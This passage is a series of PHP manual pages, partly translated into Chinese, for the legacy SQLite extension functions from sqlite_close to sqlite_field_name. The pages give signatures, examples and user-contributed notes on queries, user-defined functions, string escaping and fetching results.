
Closes the given database handle. If the database was persistent, it will be closed and removed from the persistent list.

参数

dbhandle

The SQLite Database resource; returned from sqlite_open () when used procedurally.

范例

例子 1. sqlite_close() example

<?php
$dbhandle = sqlite_open('sqlitedb');
sqlite_close($dbhandle);
?>

参见

sqlite_open()
sqlite_popen()

add a note add a note User Contributed Notes
Eeyore
28-Feb-2006 02:08
It doesn't appear that sqlite_close actually closes the db file (or if it does, it doesn't free the lock).  If you open a new db, close it and then try to unlink it (on Windows at least) you get a "Permission Denied" error.
add a note add a note

后退 | 起点 | 前进
sqlite_changes | 上一级 | sqlite_column


sqlite_column

(PHP 5)

sqlite_column

(no version information, might be only in CVS)

SQLiteResult->column

(no version information, might be only in CVS)

SQLiteUnbuffered->column -- Fetches a column from the current row of a result set

说明

mixed sqlite_column ( resource result, mixed index_or_name [, bool decode_binary] )

class SQLiteResult {

mixed column ( mixed index_or_name [, bool decode_binary] )

}class SQLiteUnbuffered {

mixed column ( mixed index_or_name [, bool decode_binary] )

}

Fetches the value of a column named index_or_name (if it is a string), or of the ordinal column numbered index_or_name (if it is an integer) from the current row of the query result handle result.

参数

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

index_or_name

The column index or name to fetch.

decode_binary

当 decode_binary 参数设为 TRUE（默认值）时，PHP 将解码那些由 sqlite_escape_string() 编码的数据。通常应保留此值为其默认值，除非在操作其它支持 sqlite 程序建立的数据库时。

注释

注: Use this function when you are iterating a large result set with many columns, or with columns that contain large amounts of data.

参见

sqlite_fetch_string()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_close | 上一级 | sqlite_create_aggregate


sqlite_create_aggregate

(PHP 5)

sqlite_create_aggregate

(no version information, might be only in CVS)

SQLiteDatabase->createAggregate -- Register an aggregating UDF for use in SQL statements

说明

void sqlite_create_aggregate ( resource dbhandle, string function_name, callback step_func, callback finalize_func [, int num_args] )

Object oriented style (method):

class SQLiteDatabase {

void createAggregate ( string function_name, callback step_func, callback finalize_func [, int num_args] )

}

sqlite_create_aggregate() is similar to sqlite_create_function() except that it registers functions that can be used to calculate a result aggregated across all the rows of a query.

The key difference between this function and sqlite_create_function() is that two functions are required to manage the aggregate; step_func is called for each row of the result set. Your PHP function should accumulate the result and store it into the aggregation context. Once all the rows have been processed, finalize_func will be called and it should then take the data from the aggregation context and return the result. Callback functions should return a type understood by SQLite (i.e. scalar type).

参数

dbhandle

The SQLite Database resource; returned from sqlite_open () when used procedurally. This parameter is not required when using the object-oriented method.

function_name

The name of the function used in SQL statements.

step_func

Callback function called for each row of the result set.

finalize_func

Callback function to aggregate the "stepped" data from each row.

num_args

Hint to the SQLite parser if the callback function accepts a predetermined number of arguments.

范例

例子 1. max_length aggregation function example

<?php
$data = array(
   'one',
   'two',
   'three',
   'four',
   'five',
   'six',
   'seven',
   'eight',
   'nine',
   'ten',
   );
$dbhandle = sqlite_open(':memory:');
sqlite_query($dbhandle, "CREATE TABLE strings(a)");
foreach ($data as $str) {
    $str = sqlite_escape_string($str);
    sqlite_query($dbhandle, "INSERT INTO strings VALUES ('$str')");
}

function max_len_step(&$context, $string)
{
    if (strlen($string) > $context) {
        $context = strlen($string);
    }
}

function max_len_finalize(&$context)
{
    return $context;
}

sqlite_create_aggregate($dbhandle, 'max_len', 'max_len_step', 'max_len_finalize');

var_dump(sqlite_array_query($dbhandle, 'SELECT max_len(a) from strings'));

?>

In this example, we are creating an aggregating function that will calculate the length of the longest string in one of the columns of the table. For each row, the max_len_step function is called and passed a context parameter. The context parameter is just like any other PHP variable and be set to hold an array or even an object value. In this example, we are simply using it to hold the maximum length we have seen so far; if the string has a length longer than the current maximum, we update the context to hold this new maximum length.

After all of the rows have been processed, SQLite calls the max_len_finalize function to determine the aggregate result. Here, we could perform some kind of calculation based on the data found in the context. In our simple example though, we have been calculating the result as the query progressed, so we simply need to return the context value.

注: The example above will not work correctly if the column contains binary data. Take a look at the manual page for sqlite_udf_decode_binary() for an explanation of why this is so, and an example of how to make it respect the binary encoding.

提示: It is NOT recommended for you to store a copy of the values in the context and then process them at the end, as you would cause SQLite to use a lot of memory to process the query - just think of how much memory you would need if a million rows were stored in memory, each containing a string 32 bytes in length.

提示: You can use sqlite_create_function() and sqlite_create_aggregate() to override SQLite native SQL functions.

参见

sqlite_create_function()
sqlite_udf_encode_binary()
sqlite_udf_decode_binary()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_column | 上一级 | sqlite_create_function


sqlite_create_function

(PHP 5)

sqlite_create_function

(no version information, might be only in CVS)

SQLiteDatabase->createFunction -- Registers a "regular" User Defined Function for use in SQL statements

说明

void sqlite_create_function ( resource dbhandle, string function_name, callback callback [, int num_args] )

Object oriented style (method):

class SQLiteDatabase {

void createFunction ( string function_name, callback callback [, int num_args] )

}

sqlite_create_function() allows you to register a PHP function with SQLite as an UDF (User Defined Function), so that it can be called from within your SQL statements.

The UDF can be used in any SQL statement that can call functions, such as SELECT and UPDATE statements and also in triggers.

参数

dbhandle

The SQLite Database resource; returned from sqlite_open () when used procedurally. This parameter is not required when using the object-oriented method.

function_name

The name of the function used in SQL statements.

callback

Callback function to handle the defined SQL function.

注: Callback functions should return a type understood by SQLite (i.e. scalar type).

num_args

Hint to the SQLite parser if the callback function accepts a predetermined number of arguments.

注: 为兼容其它数据库（例如 MySQL），支持另两种替代的语法。推荐用第一种，dbhandle 参数作为函数的第一个参数。

范例

例子 1. sqlite_create_function() example

<?php
function md5_and_reverse($string)
{
    return strrev(md5($string));
}

if ($dbhandle = sqlite_open('mysqlitedb', 0666, $sqliteerror)) {

    sqlite_create_function($dbhandle, 'md5rev', 'md5_and_reverse', 1);

    $sql  = 'SELECT md5rev(filename) FROM files';
    $rows = sqlite_array_query($dbhandle, $sql);
} else {
    echo 'Error opening sqlite db: ' . $sqliteerror;
    exit;
}
?>

In this example, we have a function that calculates the md5 sum of a string, and then reverses it. When the SQL statement executes, it returns the value of the filename transformed by our function. The data returned in $rows contains the processed result.

The beauty of this technique is that you do not need to process the result using a foreach() loop after you have queried for the data.

PHP registers a special function named php when the database is first opened. The php function can be used to call any PHP function without having to register it first.

例子 2. Example of using the PHP function

<?php
$rows = sqlite_array_query($dbhandle, "SELECT php('md5', filename) from files");
?>

This example will call the md5() on each filename column in the database and return the result into $rows

注: For performance reasons, PHP will not automatically encode/decode binary data passed to and from your UDF's. You need to manually encode/decode the parameters and return values if you need to process binary data in this way. Take a look at sqlite_udf_encode_binary() and sqlite_udf_decode_binary() for more details.

提示: It is not recommended to use UDF's to handle processing of binary data, unless high performance is not a key requirement of your application.

提示: You can use sqlite_create_function() and sqlite_create_aggregate() to override SQLite native SQL functions.

参见

sqlite_create_aggregate()

add a note add a note User Contributed Notes
Brett
21-May-2005 01:27
In my previous comment, there was an error in the code which was causing the issue.

Removing the surrounding quotes from from_unixtime()'s return value solved the issue, and so UDFs _do work_ from within DELETEs and INSERTs!  Yay!

<?php

// SQLite UDF
// Mimic MySQL FROM_UNIXTIME
function from_unixtime($unixtime)
{
   return date('Y-m-d H:i:s', $unixtime);  // no surrouding quotes
}

?>
Brett
21-May-2005 12:44
It appears that UDFs created by sqlite_create_function() do not work properly within INSERT or DELETE statements.

A simplified INSERT example:

<?php

// SQLite UDF
// Mimic MySQL FROM_UNIXTIME function
function from_unixtime($unixtime)
{
   return "'".date('Y-m-d H:i:s', $unixtime)."'";
}

// -----------------------------------------------------------

// Open the database and create the UDF
$handle = sqlite_open('db.sqlite', 0666);
sqlite_create_function($handle, 'FROM_UNIXTIME', 'from_unixtime', 1);

// Insert a row
$sql = "
   INSERT INTO table (name, timestamp)
   VALUES ('Foo', FROM_UNIXTIME(".time().");
   ";

$result = sqlite_exec($handle, $sql);

// Retrieve the row
$sql    = "SELECT * FROM table";
$result = sqlite_unbuffered_query($handle, $sql)
$row    = sqlite_fetch_all($result, SQLITE_ASSOC);

// Dump
print_r($row);

?>

This will show:

Array
(
   [0] => Array
       (
           [name] => 'Foo'
           [timestamp] => -1
       )
)

The expected result for timestamp would be something like '2005-05-20 10:00:00'
info at myphp dot it
29-Dec-2004 05:52
The function can be a method of a class:

<?php

class sqlite_function {

   function md5($value)
   {
       return md5($value);
   }

}

$dbhandle = sqlite_open('SQLiteDB');

sqlite_create_function($dbhandle, 'md5', array('sqlite_function', 'md5'), 1);

// From now on, you can use md5 function inside your SQL statements

?>

It works fine :)
add a note add a note

后退 | 起点 | 前进
sqlite_create_aggregate | 上一级 | sqlite_current


sqlite_current

(PHP 5)

sqlite_current

(no version information, might be only in CVS)

SQLiteResult->current

(no version information, might be only in CVS)

SQLiteUnbuffered->current -- Fetches the current row from a result set as an array

说明

array sqlite_current ( resource result [, int result_type [, bool decode_binary]] )

Object oriented style (method):

class SQLiteResult {

array current ( [int result_type [, bool decode_binary]] )

}class SQLiteUnbuffered {

array current ( [int result_type [, bool decode_binary]] )

}

sqlite_current() is identical to sqlite_fetch_array() except that it does not advance to the next row prior to returning the data; it returns the data from the current position only.

参数

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

result_type

可选的 result_type 参数接受一个常量并决定返回的数组如何索引。用 SQLITE_ASSOC 只会返回关联索引（有名称字段）而 SQLITE_NUM 只会返回数字索引（有序字段数）。SQLITE_BOTH 会同时返回关联和数字索引。 SQLITE_BOTH 是本函数的默认值。

decode_binary

当 decode_binary 参数设为 TRUE（默认值）时，PHP 将解码那些由 sqlite_escape_string() 编码的数据。通常应保留此值为其默认值，除非在操作其它支持 sqlite 程序建立的数据库时。

返回值

Returns an array of the current row from a result set; FALSE if the current position is beyond the final row.

由 SQLITE_ASSOC 和 SQLITE_BOTH 返回的列名会根据 sqlite.assoc_case 配置选项的值来决定大小写。

参见

sqlite_seek()
sqlite_next()
sqlite_fetch_array()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_create_function | 上一级 | sqlite_error_string


sqlite_error_string

(PHP 5)

sqlite_error_string -- Returns the textual description of an error code

说明

string sqlite_error_string ( int error_code )

Returns a human readable description of the error_code returned from sqlite_last_error().

参见

sqlite_last_error()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_current | 上一级 | sqlite_escape_string


sqlite_escape_string

(PHP 5)

sqlite_escape_string -- Escapes a string for use as a query parameter

说明

string sqlite_escape_string ( string item )

sqlite_escape_string() will correctly quote the string specified by item for use in an SQLite SQL statement. This includes doubling up single-quote characters (') and checking for binary-unsafe characters in the query string.

If the item contains a NUL character, or if it begins with a character whose ordinal value is 0x01, PHP will apply a binary encoding scheme so that you can safely store and retrieve binary data.

Although the encoding makes it safe to insert the data, it will render simple text comparisons and LIKE clauses in your queries unusable for the columns that contain the binary data. In practice, this shouldn't be a problem, as your schema should be such that you don't use such things on binary columns (in fact, it might be better to store binary data using other means, such as in files).

警告

addslashes() should NOT be used to quote your strings for SQLite queries; it will lead to strange results when retrieving your data.

注:
    Do not use this function to encode the return values from UDF's created
    using sqlite_create_function() or
    sqlite_create_aggregate() - use
    sqlite_udf_encode_binary() instead.

参见

sqlite_udf_encode_binary()

add a note add a note User Contributed Notes
soletan at toxa dot de
29-Mar-2005 08:19
@minots: simplify what you are doing:

<?php

function sqlite_escape_array( &$arr ) {

  $invalid = array( 'argv', 'argc' );

  foreach ( $arr as $key => $val )
     if ( ( strtoupper( $key ) != $key ) && !is_numeric( $key ) && !in_array( $key, $invalid ) ) {
       if ( is_string( $val ) )
           $arr[$key] = sqlite_escape_string( $val );
       else if ( is_array( $val ) )
           sqlite_escape_array( $arr[$key] );
     }

  return $arr;
}

?>

I'm not sure if the condition is equivalent to yours, but this excludes any numeric key, any completely uppercase'd keys and some selected (argc and argv) special keys. In case of never passing $GLOBALS or $_SERVER as argument one might shorten everything to this as a "pipelined" version:

<?php

function sqlite_escape_array( $arr ) {

  foreach ( $arr as $key => $val )

   if ( is_string( $val ) )
     $arr[$key] = sqlite_escape_string( $val );

   else if ( is_array( $val ) )
     $arr[$key] = sqlite_escape_array( $val );

  return $arr;

}

?>

PHP's syntax is more powerful than those of many other languages, even when it's supporting their one's as well.
Minots Estich <minots at D0X dot de>
29-Mar-2004 05:03
sometimes i you have to escape an array instead of a string.
my function to do it works like:
array sqlite_escape_array ( &array string)

<?php
function sqlite_escape_array(&$arr)
{
  while ( list($key, $val) = each($arr) ):
   if ( (strtoupper($key)!=$key OR "".intval($key) == "$key") && $key!="argc" and $key!="argv"):
       if (is_string($val)):
           $arr[$key]=sqlite_escape_string($val);
       endif;
       if (is_array($val)):
           $arr[$key]=sqlite_escape_array($val);
       endif;
   endif;
  endwhile;
  return $arr;
}
?>
add a note add a note

后退 | 起点 | 前进
sqlite_error_string | 上一级 | sqlite_exec


sqlite_exec

(PHP 5)

sqlite_exec

(no version information, might be only in CVS)

SQLiteDatabase->exec -- Executes a result-less query against a given database

说明

bool sqlite_exec ( resource dbhandle, string query [, string &error_msg] )

bool sqlite_exec ( string query, resource dbhandle )

Object oriented style (method):

class SQLiteDatabase {

bool queryExec ( string query [, string &error_msg] )

}

Executes an SQL statement given by the query against a given database handle (specified by the dbhandle parameter).

警告

SQLite will execute multiple queries separated by semicolons, so you can use it to execute a batch of SQL that you have loaded from a file or have embedded in a script.

参数

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

query

The query to be executed.

error_msg

The specified variable will be filled if an error occurs. This is specially important because SQL syntax errors can't be fetched using the sqlite_last_error() function.

注: 为兼容其它数据库（例如 MySQL），支持另两种替代的语法。推荐用第一种，dbhandle 参数作为函数的第一个参数。

返回值

This function will return a boolean result; TRUE for success or FALSE for failure. If you need to run a query that returns rows, see sqlite_query().

由 SQLITE_ASSOC 和 SQLITE_BOTH 返回的列名会根据 sqlite.assoc_case 配置选项的值来决定大小写。

更新日志

版本 | 说明
5.1.0 | Added the error_msg parameter

范例

例子 1. Procedural example

<?php
$dbhandle = sqlite_open('mysqlitedb');
$query = sqlite_exec($dbhandle, "UPDATE users SET email='jDoe@example.com' WHERE username='jDoe'", $error);
if (!$query) {
    exit("Error in query: '$error'");
} else {
    echo 'Number of rows modified: ', sqlite_changes($dbhandle);
}
?>

例子 2. Object-oriented example

<?php
$dbhandle = new SQLiteDatabase('mysqlitedb');
$query = $dbhandle->queryExec("UPDATE users SET email='jDoe@example.com' WHERE username='jDoe'", $error);
if (!$query) {
    exit("Error in query: '$error'");
} else {
    echo 'Number of rows modified: ', $dbhandle->changes();
}
?>

参见

sqlite_query()
sqlite_unbuffered_query()
sqlite_array_query()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_escape_string | 上一级 | sqlite_factory


sqlite_factory

(PHP 5)

sqlite_factory -- Opens a SQLite database and returns a SQLiteDatabase object

说明

SQLiteDatabase sqlite_factory ( string filename [, int mode [, string &error_message]] )

sqlite_factory() behaves similarly to sqlite_open() in that it opens an SQLite database or attempts to create it if it does not exist. However, a SQLiteDatabase object is returned rather than a resource. Please see the sqlite_open() reference page for further usage and caveats.

参数

filename

The filename of the SQLite database.

mode

The mode of the file. Intended to be used to open the database in read-only mode. Presently, this parameter is ignored by the sqlite library. The default value for mode is the octal value 0666 and this is the recommended value.

error_message

Passed by reference and is set to hold a descriptive error message explaining why the database could not be opened if there was an error.

返回值

Returns a SQLiteDatabase object on success, NULL on error.

范例

例子 1. sqlite_factory() example

<?php
$dbhandle = sqlite_factory('sqlitedb');
$dbhandle->query('SELECT user_id, username FROM users');

/* functionally equivalent to: */

$dbhandle = new SQLiteDatabase('sqlitedb');
$dbhandle->query('SELECT user_id, username FROM users');

?>

参见

sqlite_open()
sqlite_popen()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_exec | 上一级 | sqlite_fetch_all


sqlite_fetch_all

(PHP 5)

sqlite_fetch_all

(no version information, might be only in CVS)

SQLiteResult->fetchAll

(no version information, might be only in CVS)

SQLiteUnbuffered->fetchAll -- Fetches all rows from a result set as an array of arrays

说明

array sqlite_fetch_all ( resource result [, int result_type [, bool decode_binary]] )

Object oriented style (method):

class SQLiteResult {

array fetchAll ( [int result_type [, bool decode_binary]] )

}class SQLiteUnbuffered {

array fetchAll ( [int result_type [, bool decode_binary]] )

}

sqlite_fetch_all() returns an array of the entire result set from the result resource. It is similar to calling sqlite_query() (or sqlite_unbuffered_query()) and then sqlite_fetch_array() for each row in the result set.

参数

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

result_type

可选的 result_type 参数接受一个常量并决定返回的数组如何索引。用 SQLITE_ASSOC 只会返回关联索引（有名称字段）而 SQLITE_NUM 只会返回数字索引（有序字段数）。SQLITE_BOTH 会同时返回关联和数字索引。 SQLITE_BOTH 是本函数的默认值。

decode_binary

当 decode_binary 参数设为 TRUE（默认值）时，PHP 将解码那些由 sqlite_escape_string() 编码的数据。通常应保留此值为其默认值，除非在操作其它支持 sqlite 程序建立的数据库时。

返回值

Returns an array of the remaining rows in a result set. If called right after sqlite_query(), it returns all rows. If called after sqlite_fetch_array(), it returns the rest. If there are no rows in a result set, it returns an empty array.

由 SQLITE_ASSOC 和 SQLITE_BOTH 返回的列名会根据 sqlite.assoc_case 配置选项的值来决定大小写。

范例

例子 1. Procedural example

<?php
$dbhandle = sqlite_open('sqlitedb');
$query = sqlite_query($dbhandle, 'SELECT name, email FROM users LIMIT 25');
$result = sqlite_fetch_all($query, SQLITE_ASSOC);
foreach ($result as $entry) {
    echo 'Name: ' . $entry['name'] . '  E-mail: ' . $entry['email'];
}
?>

例子 2. Object-oriented example

<?php
$dbhandle = new SQLiteDatabase('sqlitedb');

$query = $dbhandle->query('SELECT name, email FROM users LIMIT 25'); // buffered result set
$query = $dbhandle->unbufferedQuery('SELECT name, email FROM users LIMIT 25'); // unbuffered result set

$result = $query->fetchAll(SQLITE_ASSOC);
foreach ($result as $entry) {
    echo 'Name: ' . $entry['name'] . '  E-mail: ' . $entry['email'];
}
?>

参见

sqlite_fetch_array()

add a note add a note User Contributed Notes
Minots Estich <minots at D0X dot de>
22-Oct-2004 12:15
The usage of sqlite_fetch_all should be your choise
(instead the well known practice of "while()" loop)
when unmodified tabledata is prefered.

Example code for a better illustration:
<?php
if ($dbhandle = sqlite_open('mysqlitedb', 0666, $sqliteerror)):
   $query  = "SELECT x, y FROM sometable LIMIT 3;";
   $result = sqlite_query($dbhandle, $query);

   // usage with sqlite_fetch_all
   $array1 = sqlite_fetch_all($result, SQLITE_ASSOC);

   // the "well known practice"
   $i = '0';
   while ($row = sqlite_fetch_array($result, SQLITE_ASSOC)):
       $array2["$i"] = $row;
       $i++;
   endwhile;

   sqlite_close($dbhandle);
endif;
?>

There are no differents within the values of array1 and array2.
Both arrays will be something like:

Array
(
   [0] => Array
       (
           [x] => 22004
           [y] => example_data1
       )

   [1] => Array
       (
           [x] => 92044
           [y] => example_data2
       )

   [2] => Array
       (
           [x] => 143060
           [y] => example_data3
       )
)

If you want to let me know about your comments, feel
free to send me a note via feedback-formular at:
http://www.d0x.de/pages/kontakt.php
add a note add a note

后退 | 起点 | 前进
sqlite_factory | 上一级 | sqlite_fetch_array


sqlite_fetch_array

(PHP 5)

sqlite_fetch_array

(no version information, might be only in CVS)

SQLiteResult->fetch

(no version information, might be only in CVS)

SQLiteUnbuffered->fetch -- Fetches the next row from a result set as an array

说明

array sqlite_fetch_array ( resource result [, int result_type [, bool decode_binary]] )

Object oriented style (method):

class SQLiteResult {

array fetch ( [int result_type [, bool decode_binary]] )

}class SQLiteUnbuffered {

array fetch ( [int result_type [, bool decode_binary]] )

}

Fetches the next row from the given result handle. If there are no more rows, returns FALSE, otherwise returns an associative array representing the row data.

参数

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

result_type

可选的 result_type 参数接受一个常量并决定返回的数组如何索引。用 SQLITE_ASSOC 只会返回关联索引（有名称字段）而 SQLITE_NUM 只会返回数字索引（有序字段数）。SQLITE_BOTH 会同时返回关联和数字索引。 SQLITE_BOTH 是本函数的默认值。

decode_binary

当 decode_binary 参数设为 TRUE（默认值）时，PHP 将解码那些由 sqlite_escape_string() 编码的数据。通常应保留此值为其默认值，除非在操作其它支持 sqlite 程序建立的数据库时。

返回值

Returns an array of the next row from a result set; FALSE if the next position is beyond the final row.

由 SQLITE_ASSOC 和 SQLITE_BOTH 返回的列名会根据 sqlite.assoc_case 配置选项的值来决定大小写。

范例

例子 1. Procedural example

<?php
$dbhandle = sqlite_open('sqlitedb');
$query = sqlite_query($dbhandle, 'SELECT name, email FROM users LIMIT 25');
$result = sqlite_fetch_all($query, SQLITE_ASSOC);
foreach ($result as $entry) {
    echo 'Name: ' . $entry['name'] . '  E-mail: ' . $entry['email'];
}
?>

例子 2. Object-oriented example

<?php
$dbhandle = new SQLiteDatabase('sqlitedb');

$query = $dbhandle->query('SELECT name, email FROM users LIMIT 25'); // buffered result set
$query = $dbhandle->unbufferedQuery('SELECT name, email FROM users LIMIT 25'); // unbuffered result set

$result = $query->fetchAll(SQLITE_ASSOC);
foreach ($result as $entry) {
    echo 'Name: ' . $entry['name'] . '  E-mail: ' . $entry['email'];
}
?>

参见

sqlite_array_query()
sqlite_fetch_string()

add a note add a note User Contributed Notes
saleh at sfsj dot net
10-May-2004 09:12
[Editor's note: to get short column names there's an undocumented PRAGMA setting. You can exec "PRAGMA short_column_names = ON" to force that behavior.]

I noticed that if you use Joins in SQL queries, the field name is messed up with the dot!
for example if you have this query:
SELECT n.*, m.nickname FROM news AS n, members AS m WHERE n.memberID = m.id;

now if you want to print_r the results returned using SQLITE_ASSOC type, the result array is like this :
array
(
  [n.memberID] => 2
  [n.title] => test title
  [m.nickname] => NeverMind
  [tablename.fieldname] => value
)

and I think it looks horriable to use the variable ,for example, $news['m.nickname'] I just don't like it!

so I've made a small function that will remove the table name (or its Alias) and will return the array after its index is cleaned
<?php
function CleanName($array)
{
  foreach ($array as $key => $value) {
   //if you want to keep the old element with its key remove the following line
     unset($array[$key]);

   //now we clean the key from the dot and tablename (alise) and set the new element
     $key = substr($key, strpos($key, '.')+1);
     $array[$key] = $value;
  }
  return $array;
}
?>
add a note add a note

后退 | 起点 | 前进
sqlite_fetch_all | 上一级 | sqlite_fetch_column_types


sqlite_fetch_column_types

(PHP 5)

sqlite_fetch_column_types

(no version information, might be only in CVS)

SQLiteDatabase->fetchColumnTypes -- Return an array of column types from a particular table

说明

array sqlite_fetch_column_types ( string table_name, resource dbhandle [, int result_type] )

Object oriented style (method):

class SQLiteDatabase {

array fetchColumnTypes ( string table_name [, int result_type] )

}

sqlite_fetch_column_types() returns an array of column data types from the specified table_name table.

参数

table_name

The table name to query.

dbhandle

The SQLite Database resource; returned from sqlite_open () when used procedurally. This parameter is not required when using the object-oriented method.

result_type

The optional result_type parameter accepts a constant and determines how the returned array will be indexed. Using SQLITE_ASSOC will return only associative indices (named fields) while SQLITE_NUM will return only numerical indices (ordinal field numbers). SQLITE_BOTH will return both associative and numerical indices. SQLITE_ASSOC is the default for this function.

返回值

Returns an array of column data types; FALSE on error.

由 SQLITE_ASSOC 和 SQLITE_BOTH 返回的列名会根据 sqlite.assoc_case 配置选项的值来决定大小写。

更新日志

版本 | 说明
5.1.0 | Added result_type

范例

例子 1. Procedural example

<?php
$db = sqlite_open('mysqlitedb');
sqlite_query($db, 'CREATE TABLE foo (bar varchar(10), arf text)');
$cols = sqlite_fetch_column_types('foo', $db, SQLITE_ASSOC);

foreach ($cols as $column => $type) {
    echo "Column: $column  Type: $type";
}
?>

例子 2. Object-oriented example

<?php
$db = new SQLiteDatabase('mysqlitedb');
$db->query('CREATE TABLE foo (bar varchar(10), arf text)');
$cols = $db->fetchColumnTypes('foo', SQLITE_ASSOC);

foreach ($cols as $column => $type) {
    echo "Column: $column  Type: $type";
}
?>

上例将输出：

Column: bar  Type: VARCHAR
Column: arf  Type: TEXT

add a note add a note User Contributed Notes
enthusiast
07-Mar-2005 12:19
If I (OO version) try to add the contant SQLITE_ASSOC, (exactly as listed in the above example) it generates the following error:

SQLiteDatabase::fetchColumnTypes() expects exactly 1 parameter, 2 given in C:\....

If I remove it completely, it returns the associative array I expected.
10-Jan-2005 07:01
The problem with the permanently locked database file when using this function still seems to exist in PHP 5.0.3 (tested on win32).

However, you can get all the information you need about the fields of a table by using this query:

PRAGMA table_info(name_of_your_table);
hugo_pl at users dot sourceforge dot net
18-Aug-2004 12:55
This function, and the OO version, is bugged in PHP <= 5.0.1, locking the database until you restart the webserver.

http://bugs.php.net/bug.php?id=29476
add a note add a note

后退 | 起点 | 前进
sqlite_fetch_array | 上一级 | sqlite_fetch_object


sqlite_fetch_object

(PHP 5)

sqlite_fetch_object

(no version information, might be only in CVS)

SQLiteResult->fetchObject

(no version information, might be only in CVS)

SQLiteUnbuffered->fetchObject -- Fetches the next row from a result set as an object

说明

object sqlite_fetch_object ( resource result [, string class_name [, array ctor_params [, bool decode_binary]]] )

Object oriented style (method):

class SQLiteResult {

object fetchObject ( [string class_name [, array ctor_params [, bool decode_binary]]] )

}class SQLiteUnbuffered {

object fetchObject ( [string class_name [, array ctor_params [, bool decode_binary]]] )

}

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
vbwebprofi at gmx dot de
12-Mar-2006 11:39
Here a light workaround for PHP 4.x which I use in my DBAccess class :

<?
  function sqlite_fetch_object(&$result) {
   $vO = sqlite_fetch_array($result, SQLITE_ASSOC);

   if($vO) {
     $vO = (object) $vO;
   }

   return $vO;
  }
?>

HTH Holger
cscm at meuh dot dyndns dot org
04-Feb-2006 08:35
As the sqlite_fetch_object function is not implemented in the PECL extension version 1.0.3.
Ive rewrite the sqlite_fetch_object in PHP :

// An empty class
class bidon {
}

// Fetch resultset as an object
function sqlite_fetch_object(&$resource){
               $arr =  sqlite_fetch_array($resource);
               $obj = new bidon();
               foreach ($arr as $key => $value) {
                       # Check is valid $T_VARIABLE
                       if (ereg(\"[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*\", $key)) {
                               $obj->$key;
                       }
               }
               return $obj;
}

Voila
Benjamin
22-Sep-2004 01:34
This function is not implemented in the PECL extension version 1.0.3  http://pecl.php.net/package/SQLite/1.0.3
add a note add a note

后退 | 起点 | 前进
sqlite_fetch_column_types | 上一级 | sqlite_fetch_single


sqlite_fetch_single

(PHP 5)

sqlite_fetch_single

(no version information, might be only in CVS)

SQLiteResult->fetchSingle

(no version information, might be only in CVS)

SQLiteUnbuffered->fetchSingle -- Fetches the first column of a result set as a string

说明

string sqlite_fetch_single ( resource result [, bool decode_binary] )

Object oriented style (method):

class SQLiteResult {

string fetchSingle ( [bool decode_binary] )

}class SQLiteUnbuffered {

string fetchSingle ( [bool decode_binary] )

}

sqlite_fetch_single() is identical to sqlite_fetch_array() except that it returns the value of the first column of the rowset.

This is the most optimal way to retrieve data when you are only interested in the values from a single column of data.

参数

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

decode_binary

当 decode_binary 参数设为 TRUE（默认值）时，PHP 将解码那些由 sqlite_escape_string() 编码的数据。通常应保留此值为其默认值，除非在操作其它支持 sqlite 程序建立的数据库时。

范例

例子 1. A sqlite_fetch_single() example

<?php
if ($dbhandle = sqlite_open('mysqlitedb', 0666, $sqliteerror)) {

    $sql = "SELECT id FROM sometable WHERE id = 42";
    $res = sqlite_query($dbhandle, $sql);

    if (sqlite_num_rows($res) > 0) {
        echo sqlite_fetch_single($res); // 42
    }

    sqlite_close($dbhandle);
}
?>

参见

sqlite_fetch_array()

add a note add a note User Contributed Notes
jmarbas at hotmail dot com
24-Jul-2005 08:45
It isnt specified in the above description for this function, but yes this function will not only return the first column, but it will also return the first value (ie from the first row in the result set) of that column. Also the result set pointer is involved here in that if you use sqlite_fetch_single in a loop, it will return each value in the first column sequentially and advance the result set pointer each time.

i.e. the first loop iteration it returns the first value in the first column. the second loop iteration it returns the second value in the first column. the third loop iteration the third value and so on.

  $handle = sqlite_open("database_file_name") or die("Could not open database");
  //generate query string
  $query = "select distinct field1 from database_name";
  //execute query
  $result = sqlite_query($handle,$query)
  //if a row exists
  if(sqlite_num_rows($result)>0){
   echo "<table cellpadding=\"10\" border=\"1\">";
   //check for more rows
   while(sqlite_has_more($result)){
     //get first field from each row
     //print values
     $row=sqlite_fetch_single($result);
     echo "<tr>";
     echo "<td>".$row."</td>";
     echo "</tr>";
   }
   echo "</table>";
  }
  //close database file
  sqlite_close($handle);
roga at yoopee dot de
12-Jul-2004 04:02
Be careful with the use of sqlite_fetch_single() in a while-loop:

<?php
$result = sqlite_query($db_handle, 'SELECT foo FROM bar;');

while ($row = sqlite_fetch_single($result)) {
     /*...do s.th. with $row...*/
}
?>

This may not work as expected because the loop will stop if any of the foos has a false value (e.g. zero).

Use sqlite_has_more() instead:

<?php
$result = sqlite_query($db_handle, 'SELECT foo FROM bar;');

while (sqlite_has_more($result)) {
     $row = sqlite_fetch_single($result);
     /*...do s.th. with $row...*/
}
?>
add a note add a note

后退 | 起点 | 前进
sqlite_fetch_object | 上一级 | sqlite_fetch_string


sqlite_fetch_string

(PHP 5)

sqlite_fetch_string -- 别名 sqlite_fetch_single()

说明

本函数是该函数的别名： sqlite_fetch_single().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_fetch_single | 上一级 | sqlite_field_name


sqlite_field_name

(PHP 5)

sqlite_field_name

(no version information, might be only in CVS)

SQLiteResult->fieldName

(no version information, might be only in CVS)

SQLiteUnbuffered->fieldName -- Returns the name of a particular field

说明

string sqlite_field_name ( resource result, int field_index )

Object oriented style (method):

class SQLiteResult {

string fieldName ( int field_index )

}class SQLiteUnbuffered {

